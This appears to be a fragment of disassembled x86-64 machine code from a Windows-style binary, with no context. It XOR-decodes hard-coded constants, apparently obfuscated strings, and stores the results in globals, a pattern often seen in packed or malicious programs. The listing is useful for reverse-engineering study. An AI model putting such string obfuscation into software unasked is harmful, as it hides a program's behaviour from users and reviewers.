mov qword [rbp + 0x68], rax
movabs rax, 0x30469eaf6e06df75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rax, [rbp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x140023157
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
call fcn.14001eec0
lea r8, [rbp + 0x20]
lea rdx, [rbp]
lea rcx, [rbp + 0x10]
call fcn.1400203f0
mov r14, qword [rax]
movabs rax, 0x5728f7db0661b639
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x30469eaf6e06df75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
lea rax, [rbp + 0x60]
nop
inc r15
cmp byte [rax + r15], r12b
jne 0x1400231f0
mov r8, r15
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.14001eec0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x10]
call fcn.1400203f0
mov rcx, qword [rax]
mov qword [0x1402e2e70], rcx
mov rax, qword [rbp + 0x10]
mov qword [0x1402e2e98], rax
mov qword [0x1402e2e90], rsi
mov rax, qword [rbp + 8]
mov qword [0x1402e2ea0], rax
mov qword [0x1402e2e88], r14
mov qword [0x1402e2ea8], rbx
mov qword [0x1402e2e80], rdi
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret